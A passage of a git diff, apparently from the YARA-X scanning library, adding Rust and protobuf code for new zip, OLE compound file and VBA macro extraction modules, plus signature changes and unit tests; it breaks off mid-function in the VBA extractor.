self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.file_path.as_ref() { + os.write_string(1, v)?; + } + if let Some(v) = self.compression { + os.write_enum(2, ::protobuf::EnumOrUnknown::value(&v))?; + } + if let Some(v) = self.uncompressed_size { + os.write_uint64(3, v)?; + } + if let Some(v) = self.compressed_size { + os.write_uint64(4, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Entry { + Entry::new() + } + + fn clear(&mut self) { + self.file_path = ::std::option::Option::None; + self.compression = ::std::option::Option::None; + self.uncompressed_size = ::std::option::Option::None; + self.compressed_size = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static Entry { + static instance: Entry = Entry { + file_path: ::std::option::Option::None, + compression: ::std::option::Option::None, + uncompressed_size: ::std::option::Option::None, + compressed_size: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Entry { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Entry").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Entry { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Entry { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +// @@protoc_insertion_point(message:zip.Zip) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Zip { + // message fields + // @@protoc_insertion_point(field:zip.Zip.is_zip) + pub is_zip: ::std::option::Option, + // @@protoc_insertion_point(field:zip.Zip.entries) + pub entries: ::std::vec::Vec, + // special fields + // @@protoc_insertion_point(special_field:zip.Zip.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Zip { + fn default() -> &'a Zip { + ::default_instance() + } +} + +impl Zip { + pub fn new() -> Zip { + ::std::default::Default::default() + } + + // optional bool is_zip = 1; + + pub fn is_zip(&self) -> bool { + self.is_zip.unwrap_or(false) + } + + pub fn clear_is_zip(&mut self) { + self.is_zip = ::std::option::Option::None; + } + + pub fn has_is_zip(&self) -> bool { + self.is_zip.is_some() + } + + // Param is passed by value, moved + pub fn set_is_zip(&mut self, v: bool) { + self.is_zip = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(2); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "is_zip", + |m: &Zip| { &m.is_zip }, + |m: &mut Zip| { &mut m.is_zip }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "entries", + |m: &Zip| { &m.entries }, + |m: &mut Zip| { &mut m.entries }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Zip", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Zip { + const NAME: &'static str = "Zip"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.is_zip = ::std::option::Option::Some(is.read_bool()?); + }, + 18 => { + self.entries.push(is.read_message()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.is_zip { + my_size += 1 + 1; + } + for value in &self.entries { + let len = value.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.is_zip { + os.write_bool(1, v)?; + } + for v in &self.entries { + ::protobuf::rt::write_message_field_with_cached_size(2, v, os)?; + }; + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Zip { + Zip::new() + } + + fn clear(&mut self) { + self.is_zip = ::std::option::Option::None; + self.entries.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static Zip { + static instance: Zip = Zip { + is_zip: ::std::option::Option::None, + entries: ::std::vec::Vec::new(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Zip { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Zip").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Zip { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Zip { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:zip.Compression) +pub enum Compression { + // @@protoc_insertion_point(enum_value:zip.Compression.STORED) + STORED = 0, + // @@protoc_insertion_point(enum_value:zip.Compression.SHRUNK) + SHRUNK = 1, + // @@protoc_insertion_point(enum_value:zip.Compression.REDUCED_1) + REDUCED_1 = 2, + // @@protoc_insertion_point(enum_value:zip.Compression.REDUCED_2) + REDUCED_2 = 3, + // @@protoc_insertion_point(enum_value:zip.Compression.REDUCED_3) + REDUCED_3 = 4, + // @@protoc_insertion_point(enum_value:zip.Compression.REDUCED_4) + REDUCED_4 = 5, + // @@protoc_insertion_point(enum_value:zip.Compression.IMPLODED) + IMPLODED = 6, + // @@protoc_insertion_point(enum_value:zip.Compression.DEFLATED) + DEFLATED = 8, + // @@protoc_insertion_point(enum_value:zip.Compression.DEFLATE64) + DEFLATE64 = 9, + // @@protoc_insertion_point(enum_value:zip.Compression.PKWARE_IMPLODING) + PKWARE_IMPLODING = 10, + // @@protoc_insertion_point(enum_value:zip.Compression.BZIP2) + BZIP2 = 12, + // @@protoc_insertion_point(enum_value:zip.Compression.LZMA) + LZMA = 14, + // @@protoc_insertion_point(enum_value:zip.Compression.ZSTD) + ZSTD = 93, + // @@protoc_insertion_point(enum_value:zip.Compression.XZ) + XZ = 95, + // @@protoc_insertion_point(enum_value:zip.Compression.UNKNOWN) + UNKNOWN = 255, +} + +impl ::protobuf::Enum for Compression { + const NAME: &'static str = "Compression"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(Compression::STORED), + 1 => ::std::option::Option::Some(Compression::SHRUNK), + 2 => ::std::option::Option::Some(Compression::REDUCED_1), + 3 => ::std::option::Option::Some(Compression::REDUCED_2), + 4 => ::std::option::Option::Some(Compression::REDUCED_3), + 5 => ::std::option::Option::Some(Compression::REDUCED_4), + 6 => ::std::option::Option::Some(Compression::IMPLODED), + 8 => ::std::option::Option::Some(Compression::DEFLATED), + 9 => ::std::option::Option::Some(Compression::DEFLATE64), + 10 => ::std::option::Option::Some(Compression::PKWARE_IMPLODING), + 12 => ::std::option::Option::Some(Compression::BZIP2), + 14 => ::std::option::Option::Some(Compression::LZMA), + 93 => ::std::option::Option::Some(Compression::ZSTD), + 95 => ::std::option::Option::Some(Compression::XZ), + 255 => ::std::option::Option::Some(Compression::UNKNOWN), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "STORED" => ::std::option::Option::Some(Compression::STORED), + "SHRUNK" => ::std::option::Option::Some(Compression::SHRUNK), + "REDUCED_1" => ::std::option::Option::Some(Compression::REDUCED_1), + "REDUCED_2" => ::std::option::Option::Some(Compression::REDUCED_2), + "REDUCED_3" => ::std::option::Option::Some(Compression::REDUCED_3), + "REDUCED_4" => ::std::option::Option::Some(Compression::REDUCED_4), + "IMPLODED" => ::std::option::Option::Some(Compression::IMPLODED), + "DEFLATED" => ::std::option::Option::Some(Compression::DEFLATED), + "DEFLATE64" => ::std::option::Option::Some(Compression::DEFLATE64), + "PKWARE_IMPLODING" => ::std::option::Option::Some(Compression::PKWARE_IMPLODING), + "BZIP2" => ::std::option::Option::Some(Compression::BZIP2), + "LZMA" => ::std::option::Option::Some(Compression::LZMA), + "ZSTD" => ::std::option::Option::Some(Compression::ZSTD), + "XZ" => ::std::option::Option::Some(Compression::XZ), + "UNKNOWN" => ::std::option::Option::Some(Compression::UNKNOWN), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [Compression] = &[ + Compression::STORED, + Compression::SHRUNK, + Compression::REDUCED_1, + Compression::REDUCED_2, + Compression::REDUCED_3, + Compression::REDUCED_4, + Compression::IMPLODED, + Compression::DEFLATED, + Compression::DEFLATE64, + Compression::PKWARE_IMPLODING, + Compression::BZIP2, + Compression::LZMA, + Compression::ZSTD, + Compression::XZ, + Compression::UNKNOWN, + ]; +} + +impl ::protobuf::EnumFull for Compression { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("Compression").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = match self { + Compression::STORED => 0, + Compression::SHRUNK => 1, + Compression::REDUCED_1 => 2, + Compression::REDUCED_2 => 3, + Compression::REDUCED_3 => 4, + Compression::REDUCED_4 => 5, + Compression::IMPLODED => 6, + Compression::DEFLATED => 7, + Compression::DEFLATE64 => 8, + Compression::PKWARE_IMPLODING => 9, + Compression::BZIP2 => 10, + Compression::LZMA => 11, + Compression::ZSTD => 12, + Compression::XZ => 13, + Compression::UNKNOWN => 14, + }; + Self::enum_descriptor().value_by_index(index) + } +} + +impl ::std::default::Default for Compression { + fn default() -> Self { + Compression::STORED + } +} + +impl Compression { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("Compression") + } +} + +static file_descriptor_proto_data: &'static [u8] = b"\ + \n\tzip.proto\x12\x03zip\x1a\nyara.proto\"\xae\x01\n\x05Entry\x12\x1b\n\ + \tfile_path\x18\x01\x20\x01(\tR\x08filePath\x122\n\x0bcompression\x18\ + \x02\x20\x01(\x0e2\x10.zip.CompressionR\x0bcompression\x12+\n\x11uncompr\ + essed_size\x18\x03\x20\x01(\x04R\x10uncompressedSize\x12'\n\x0fcompresse\ + d_size\x18\x04\x20\x01(\x04R\x0ecompressedSize\"B\n\x03Zip\x12\x15\n\x06\ + is_zip\x18\x01\x20\x01(\x08R\x05isZip\x12$\n\x07entries\x18\x02\x20\x03(\ + \x0b2\n.zip.EntryR\x07entries*\xdf\x01\n\x0bCompression\x12\n\n\x06STORE\ + D\x10\0\x12\n\n\x06SHRUNK\x10\x01\x12\r\n\tREDUCED_1\x10\x02\x12\r\n\tRE\ + DUCED_2\x10\x03\x12\r\n\tREDUCED_3\x10\x04\x12\r\n\tREDUCED_4\x10\x05\ + \x12\x0c\n\x08IMPLODED\x10\x06\x12\x0c\n\x08DEFLATED\x10\x08\x12\r\n\tDE\ + FLATE64\x10\t\x12\x14\n\x10PKWARE_IMPLODING\x10\n\x12\t\n\x05BZIP2\x10\ + \x0c\x12\x08\n\x04LZMA\x10\x0e\x12\x08\n\x04ZSTD\x10]\x12\x06\n\x02XZ\ + \x10_\x12\x0c\n\x07UNKNOWN\x10\xff\x01\x1a\x06\x92\x93\x19\x02\x10\x01B\ + \x1e\xfa\x92\x19\x1a\n\x03zip\x12\x07zip.Zip\x1a\nzip-moduleb\x06proto2\ +"; + +/// `FileDescriptorProto` object which was a source for this generated file +fn file_descriptor_proto() -> &'static ::protobuf::descriptor::FileDescriptorProto { + static file_descriptor_proto_lazy: ::protobuf::rt::Lazy<::protobuf::descriptor::FileDescriptorProto> = ::protobuf::rt::Lazy::new(); + file_descriptor_proto_lazy.get(|| { + ::protobuf::Message::parse_from_bytes(file_descriptor_proto_data).unwrap() + }) +} + +/// `FileDescriptor` object which allows dynamic access to files +pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { + static generated_file_descriptor_lazy: ::protobuf::rt::Lazy<::protobuf::reflect::GeneratedFileDescriptor> = ::protobuf::rt::Lazy::new(); + static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); + file_descriptor.get(|| { + let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { + let mut deps = ::std::vec::Vec::with_capacity(1); + deps.push(super::yara::file_descriptor().clone()); + let mut messages = ::std::vec::Vec::with_capacity(2); + messages.push(Entry::generated_message_descriptor_data()); + messages.push(Zip::generated_message_descriptor_data()); + let mut enums = ::std::vec::Vec::with_capacity(1); + enums.push(Compression::generated_enum_descriptor_data()); + ::protobuf::reflect::GeneratedFileDescriptor::new_generated( + file_descriptor_proto(), + deps, + messages, + enums, + ) + }); + ::protobuf::reflect::FileDescriptor::new_generated_2(generated_file_descriptor) + }) +} diff --git a/lib/src/modules/protos/mods.proto b/lib/src/modules/protos/mods.proto index 7bb5b5fc..52f6e77e 100644 --- a/lib/src/modules/protos/mods.proto +++ b/lib/src/modules/protos/mods.proto @@ -8,6 +8,8 @@ import "elf.proto"; import "pe.proto"; import "lnk.proto"; import "macho.proto"; +import "olecf.proto"; +import "vba.proto"; package mods; @@ -18,6 +20,8 @@ message Modules { optional dotnet.Dotnet dotnet = 3; optional macho.Macho macho = 4; optional lnk.Lnk lnk = 5; - optional crx.Crx crx = 6; - optional dex.Dex dex = 7; + optional olecf.Olecf olecf = 6; + optional vba.Vba vba = 7; + optional crx.Crx crx = 8; + optional dex.Dex dex = 9; } diff --git a/lib/src/modules/protos/olecf.proto b/lib/src/modules/protos/olecf.proto new file mode 100644 index 00000000..812c777d --- /dev/null +++ b/lib/src/modules/protos/olecf.proto @@ -0,0 +1,32 @@ +syntax = "proto2"; +import "yara.proto"; + +package olecf; + +option (yara.module_options) = { + name : "olecf" + root_message: "olecf.Olecf" + cargo_feature: "olecf-module" +}; + +message Olecf { + // True if file is an OLE CF file. + required bool is_olecf = 1; + // Streams contained in the OLE CF file. + repeated Stream streams = 2; +} + +// Type of streams. +enum StreamType { + UNKNOWN = 0; + STORAGE = 1; + STREAM = 2; + ROOT = 5; +} + +// Describes a stream in the OLE CF file. +message Stream { + required string name = 1; + required StreamType type = 2; + required uint64 size = 3; +} \ No newline at end of file diff --git a/lib/src/modules/protos/pe.proto b/lib/src/modules/protos/pe.proto index cc5e4042..b5717dc0 100644 --- a/lib/src/modules/protos/pe.proto +++ b/lib/src/modules/protos/pe.proto @@ -419,22 +419,37 @@ message Overlay { enum Machine { option (yara.enum_options).inline = true; + // AXP64 (0x0284) is the same value as ALPHA64, so aliasing must be allowed. + option allow_alias = true; MACHINE_UNKNOWN = 0x0000; + MACHINE_ALPHA = 0x0184; + MACHINE_ALPHA64 = 0x0284; MACHINE_AM33 = 0x01d3; MACHINE_AMD64 = 0x8664; MACHINE_ARM = 0x01c0; - MACHINE_ARMNT = 0x01c4; MACHINE_ARM64 = 0xaa64; + MACHINE_ARM64EC = 0xa641; + MACHINE_ARM64X = 0xa64e; + MACHINE_ARMNT = 0x01c4; + MACHINE_AXP64 = 0x0284; MACHINE_EBC = 0x0ebc; MACHINE_I386 = 0x014c; MACHINE_IA64 = 0x0200; + MACHINE_LOONGARCH32 = 0x6232; + MACHINE_LOONGARCH64 = 0x6264; MACHINE_M32R = 0x9041; MACHINE_MIPS16 = 0x0266; MACHINE_MIPSFPU = 0x0366; MACHINE_MIPSFPU16 = 0x0466; MACHINE_POWERPC = 0x01f0; MACHINE_POWERPCFP = 0x01f1; + MACHINE_R3000BE = 0x0160; + MACHINE_R3000 = 0x0162; MACHINE_R4000 = 0x0166; + MACHINE_R10000 = 0x0168; + MACHINE_RISCV32 = 0x5032; + MACHINE_RISCV64 = 0x5064; + MACHINE_RISCV128 = 0x5128; MACHINE_SH3 = 0x01a2; MACHINE_SH3DSP = 0x01a3; MACHINE_SH4 = 0x01a6; diff --git a/lib/src/modules/protos/vba.proto b/lib/src/modules/protos/vba.proto new file mode 100644 index 00000000..a0c5944f --- /dev/null +++ b/lib/src/modules/protos/vba.proto @@ -0,0 +1,40 @@ +syntax = "proto2"; +import "yara.proto"; + +package vba; + +option (yara.module_options) = { + name: "vba" + root_message: "vba.Vba" + cargo_feature: "vba-module" +}; + +enum ModuleType { + option (yara.enum_options).inline = true; + MODULE_TYPE_STANDARD = 1; + MODULE_TYPE_CLASS = 2; + MODULE_TYPE_UNKNOWN = 3; +} + +message Vba { + // True if VBA macros are present + optional bool has_macros = 1; + message Module { + optional string name = 1; + optional ModuleType type = 2; + optional string code = 3; + } + + // VBA macro modules found + repeated Module modules = 2; + + // Project metadata + message ProjectInfo { + optional string name = 1; + optional string version = 2; + repeated string references = 3; + optional int32 module_count = 4; + } + + optional ProjectInfo project_info = 5; +} \ No newline at end of file diff --git a/lib/src/modules/protos/zip.proto b/lib/src/modules/protos/zip.proto new file mode 100644 index 00000000..aba1ae76 --- /dev/null +++ b/lib/src/modules/protos/zip.proto @@ -0,0 +1,41 @@ +syntax = "proto2"; +import "yara.proto"; + +package zip; + +option (yara.module_options) = { + name : "zip" + root_message: "zip.Zip" + cargo_feature: "zip-module" +}; + +enum Compression { + option (yara.enum_options).inline = true; + STORED = 0; + SHRUNK = 1; + REDUCED_1 = 2; + REDUCED_2 = 3; + REDUCED_3 = 4; + REDUCED_4 = 5; + IMPLODED = 6; + DEFLATED = 8; + DEFLATE64 = 9; + PKWARE_IMPLODING = 10; + BZIP2 = 12; + LZMA = 14; + ZSTD = 93; + XZ = 95; + UNKNOWN = 255; +} + +message Entry { + optional string file_path = 1; + optional Compression compression = 2; + optional uint64 uncompressed_size = 3; + optional uint64 compressed_size = 4; +} + +message Zip { + optional bool is_zip = 1; + repeated Entry entries = 2; +} diff --git a/lib/src/modules/string.rs b/lib/src/modules/string.rs index 9ae287d6..bf2235bf 100644 --- a/lib/src/modules/string.rs +++ b/lib/src/modules/string.rs @@ -1,7 +1,7 @@ use crate::mods::prelude::*; use crate::modules::protos::string::*; -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // Nothing to do, but we have to return our protobuf Ok(String::new()) } diff --git a/lib/src/modules/test_proto2/mod.rs b/lib/src/modules/test_proto2/mod.rs index 5383f57b..41c5ca81 100644 --- a/lib/src/modules/test_proto2/mod.rs +++ b/lib/src/modules/test_proto2/mod.rs @@ -95,7 +95,10 @@ fn to_int(ctx: &ScanContext, string: RuntimeString) -> Option { string.parse::().ok() } -fn main(data: &[u8], meta: Option<&[u8]>) -> Result { +fn main( + ctx: &mut ModuleContext, + data: &[u8], +) -> Result { let mut test = TestProto2::new(); test.set_int32_zero(0); @@ -187,7 +190,7 @@ fn main(data: &[u8], meta: Option<&[u8]>) -> Result { test.set_timestamp(1748591440); - test.metadata = meta.map(Vec::from); + test.metadata = ctx.get_module_metadata("test_proto2").map(Vec::from); Ok(test) } diff --git a/lib/src/modules/test_proto3/mod.rs b/lib/src/modules/test_proto3/mod.rs index 2cbb3e4b..9e786768 100644 --- a/lib/src/modules/test_proto3/mod.rs +++ b/lib/src/modules/test_proto3/mod.rs @@ -1,10 +1,7 @@ use crate::mods::prelude::*; use crate::modules::protos::test_proto3::TestProto3; -fn main( - _data: &[u8], - _meta: Option<&[u8]>, -) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { let mut test = TestProto3::new(); test.int32_zero = 0; diff --git a/lib/src/modules/tests.rs b/lib/src/modules/tests.rs index a721c9db..65a9d1c4 100644 --- a/lib/src/modules/tests.rs +++ b/lib/src/modules/tests.rs @@ -138,6 +138,11 @@ fn test_modules() { .map(|s| s.as_os_str().to_str().unwrap()) .expect("can not extract module name from tests path"); + // Ignore the module of not among the registered modules. + if !module_names().any(|n| n == module_name) { + return; + } + // Construct a dummy YARA rule that only imports the module. let rule = format!( r#"import "{module_name}" rule test {{ condition: false }}"# @@ -164,12 +169,13 @@ fn test_modules() { panic!("module `{module_name}` should produce some output") }); - let output_file = mint.new_goldenfile(out_path).unwrap(); + let output_file = + mint.new_goldenfile(out_path).expect("can not create goldenfile"); // Render the module's output as YAML. let mut yaml = yara_x_proto::yaml::Serializer::new(output_file); - yaml.serialize(output).unwrap(); + assert!(yaml.serialize(output).is_ok()); }); } diff --git a/lib/src/modules/time.rs b/lib/src/modules/time.rs index 4ce5eeca..a96a5140 100644 --- a/lib/src/modules/time.rs +++ b/lib/src/modules/time.rs @@ -1,7 +1,7 @@ use crate::mods::prelude::*; use crate::modules::protos::time::*; -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // Nothing to do, but we have to return our protobuf Ok(Time::new()) } diff --git a/lib/src/modules/utils/leb128.rs b/lib/src/modules/utils/leb128.rs index 868e39bf..287c8003 100644 --- a/lib/src/modules/utils/leb128.rs +++ b/lib/src/modules/utils/leb128.rs @@ -76,3 +76,34 @@ pub fn sleb128(input: &[u8]) -> IResult<&[u8], i64> { Ok((data, val)) } + +#[cfg(test)] +mod tests { + use super::*; + use nom::error::ErrorKind; + + #[test] + fn test_uleb128() { + assert_eq!(uleb128(&[0x00]), Ok((&[][..], 0))); + assert_eq!(uleb128(&[0x01]), Ok((&[][..], 1))); + assert_eq!(uleb128(&[0xe5, 0x8e, 0x26]), Ok((&[][..], 624485))); + assert_eq!(uleb128(&[0x80, 0x01, 0xff]), Ok((&[0xff][..], 128))); + let overflow = [0x80; 11]; + assert!( + matches!(uleb128(&overflow), Err(nom::Err::Error(e)) if e.code == ErrorKind::TooLarge) + ); + } + + #[test] + fn test_sleb128() { + assert_eq!(sleb128(&[0x00]), Ok((&[][..], 0))); + assert_eq!(sleb128(&[0x01]), Ok((&[][..], 1))); + assert_eq!(sleb128(&[0x7f]), Ok((&[][..], -1))); + assert_eq!(sleb128(&[0x80, 0x7f]), Ok((&[][..], -128))); + assert_eq!(sleb128(&[0x9b, 0xf1, 0x59]), Ok((&[][..], -624485))); + let overflow = [0x80; 11]; + assert!( + matches!(sleb128(&overflow), Err(nom::Err::Error(e)) if e.code == ErrorKind::TooLarge) + ); + } +} diff --git a/lib/src/modules/utils/mod.rs b/lib/src/modules/utils/mod.rs index e3e9d96b..1170257f 100644 --- a/lib/src/modules/utils/mod.rs +++ b/lib/src/modules/utils/mod.rs @@ -1,3 +1,10 @@ +#[cfg(feature = "crypto")] pub mod asn1; + +#[cfg(feature = "crypto")] pub mod crypto; + +#[cfg(feature = "crypto")] pub mod leb128; +#[cfg(any(feature = "zip-module", feature = "vba-module"))] +pub mod zip; diff --git a/lib/src/modules/utils/zip.rs b/lib/src/modules/utils/zip.rs new file mode 100644 index 00000000..ae4c7d8e --- /dev/null +++ b/lib/src/modules/utils/zip.rs @@ -0,0 +1,137 @@ +use std::borrow::Cow; +use std::io::Read; + +use protobuf::Enum; +use rustc_hash::FxHashMap; +use tinyzip::Archive; + +use crate::modules::protos::zip::{Compression, Entry, Zip}; + +pub(crate) enum ZipCache<'a> { + NotZip, + Cached(CachedZip<'a>), +} + +pub(crate) struct CachedZip<'a> { + pub data: &'a [u8], + pub archive: Archive<&'a [u8]>, + pub cached_contents: FxHashMap>, +} + +impl<'a> ZipCache<'a> { + pub(crate) fn new(data: &'a [u8]) -> Self { + let archive = match Archive::open(data) { + Ok(arch) => arch, + Err(_) => return ZipCache::NotZip, + }; + + ZipCache::Cached(CachedZip { + data, + archive, + cached_contents: FxHashMap::default(), + }) + } +} + +impl<'a> CachedZip<'a> { + pub(crate) fn get_file_content<'b>( + &'b mut self, + path: &str, + ) -> Option<&'b [u8]> { + if !self.cached_contents.contains_key(path) { + let entry = self.archive.find_file(path).ok()?; + let uncompressed_size = entry.uncompressed_size(); + let data_range = entry.data_range().ok()?.data_range; + let start = data_range.start as usize; + let end = data_range.end as usize; + let raw_bytes = self.data.get(start..end)?; + + let content = match entry.compression() { + Ok(tinyzip::Compression::Stored) => Cow::Borrowed(raw_bytes), + Ok(tinyzip::Compression::Deflated) => { + let mut decoder = + flate2::read::DeflateDecoder::new(raw_bytes); + let mut buf = + Vec::with_capacity(uncompressed_size as usize); + decoder.read_to_end(&mut buf).ok()?; + Cow::Owned(buf) + } + _ => return None, + }; + + self.cached_contents.insert(path.to_string(), content); + } + + Some(self.cached_contents.get(path).unwrap().as_ref()) + } +} + +impl<'a> From<&CachedZip<'a>> for Zip { + fn from(cached: &CachedZip<'a>) -> Self { + let mut zip = Zip::new(); + zip.set_is_zip(true); + + let mut entries = Vec::new(); + let max_entries = 100000; // Guardrail: prevent DoS with huge entry counts + + let mut path_buf = vec![0u8; 65536]; + + for entry in cached.archive.entries().filter_map(|entry| entry.ok()) { + if entries.len() >= max_entries { + break; + } + + let path_bytes = match entry.read_path(&mut path_buf) { + Ok(b) => b, + Err(_) => continue, + }; + + let file_path = String::from_utf8_lossy(path_bytes).to_string(); + + let mut proto_entry = Entry::new(); + proto_entry.set_file_path(file_path); + proto_entry.set_uncompressed_size(entry.uncompressed_size()); + proto_entry.set_compressed_size(entry.compressed_size()); + + let compression = match entry.compression() { + Ok(tinyzip::Compression::Stored) => Compression::STORED, + Ok(tinyzip::Compression::Deflated) => Compression::DEFLATED, + Err(tinyzip::Error::UnsupportedCompression(raw)) => { + Compression::from_i32(raw as i32) + .unwrap_or(Compression::UNKNOWN) + } + Err(_) => Compression::UNKNOWN, + }; + + proto_entry.compression = Some(compression.into()); + entries.push(proto_entry); + } + + zip.entries = entries; + zip + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_zip_cache() { + assert!(matches!( + ZipCache::new(b"invalid zip data"), + ZipCache::NotZip + )); + + let eocd = [ + 0x50, 0x4b, 0x05, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + ]; + if let ZipCache::Cached(mut cached) = ZipCache::new(&eocd) { + assert!(cached.get_file_content("missing.txt").is_none()); + let zip_proto: Zip = (&cached).into(); + assert!(zip_proto.is_zip()); + assert_eq!(zip_proto.entries.len(), 0); + } + } +} diff --git a/lib/src/modules/vba/mod.rs b/lib/src/modules/vba/mod.rs new file mode 100644 index 00000000..d4993fdf --- /dev/null +++ b/lib/src/modules/vba/mod.rs @@ -0,0 +1,134 @@ +/*! YARA module that extracts VBA (Visual Basic for Applications) macros +from Office documents. + +Read more about the VBA file format specification here: +https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/575462ba-bf67-4190-9fac-c275523c75fc +*/ + +use crate::modules::vba::parser::decompress_stream; +use std::collections::HashMap; + +use crate::mods::prelude::*; +use crate::modules::olecf::parser::OLECFParser; +use crate::modules::protos::vba::*; +use crate::modules::utils::zip::ZipCache; + +mod parser; + +#[derive(Debug)] +struct VbaExtractor<'a> { + data: &'a [u8], +} + +impl<'a> VbaExtractor<'a> { + fn new(data: &'a [u8]) -> Self { + Self { data } + } + + fn read_stream_data( + ole_parser: &OLECFParser, + name: &str, + ) -> Result, &'static str> { + let size = ole_parser.get_stream_size(name)? as usize; + if size == 0 { + return Err("Stream is empty"); + } + ole_parser.get_stream_data(name) + } + + fn extract_from_ole_bytes(ole_data: &[u8]) -> Result { + let ole_parser = OLECFParser::new(ole_data)?; + let stream_names = ole_parser.get_stream_names()?; + + let mut vba_dir = None; + let mut modules = HashMap::new(); + + // First process the dir stream + if let Some(dir_name) = + stream_names.iter().find(|n| n.to_lowercase().trim() == "dir") + && let Ok(data) = Self::read_stream_data(&ole_parser, dir_name) + { + vba_dir = Some(data); + } + + // Then process other streams + for name in &stream_names { + let lowercase_name = name.to_lowercase(); + + if lowercase_name != "dir" + && let Ok(data) = Self::read_stream_data(&ole_parser, name) + && !data.is_empty() + { + modules.insert(parser::normalize_name(&lowercase_name), data); + } + } + + // Always try the dir stream if we found it + if let Some(dir_data) = vba_dir { + let dir_stream = decompress_stream(&dir_data)?; + parser::parse(&dir_stream, &modules) + .map_err(|_| "Failed to parse VBA stream") + } else { + Err("No VBA directory stream found") + } + } + + fn extract_from_ole(&self) -> Result { + Self::extract_from_ole_bytes(self.data) + } +} + +fn extract_from_zip<'a>( + ctx: &mut ModuleContext<'a>, + data: &'a [u8], +) -> Result { + let zip_cache = ctx.zip_cache.get_or_insert_with(|| ZipCache::new(data)); + + let 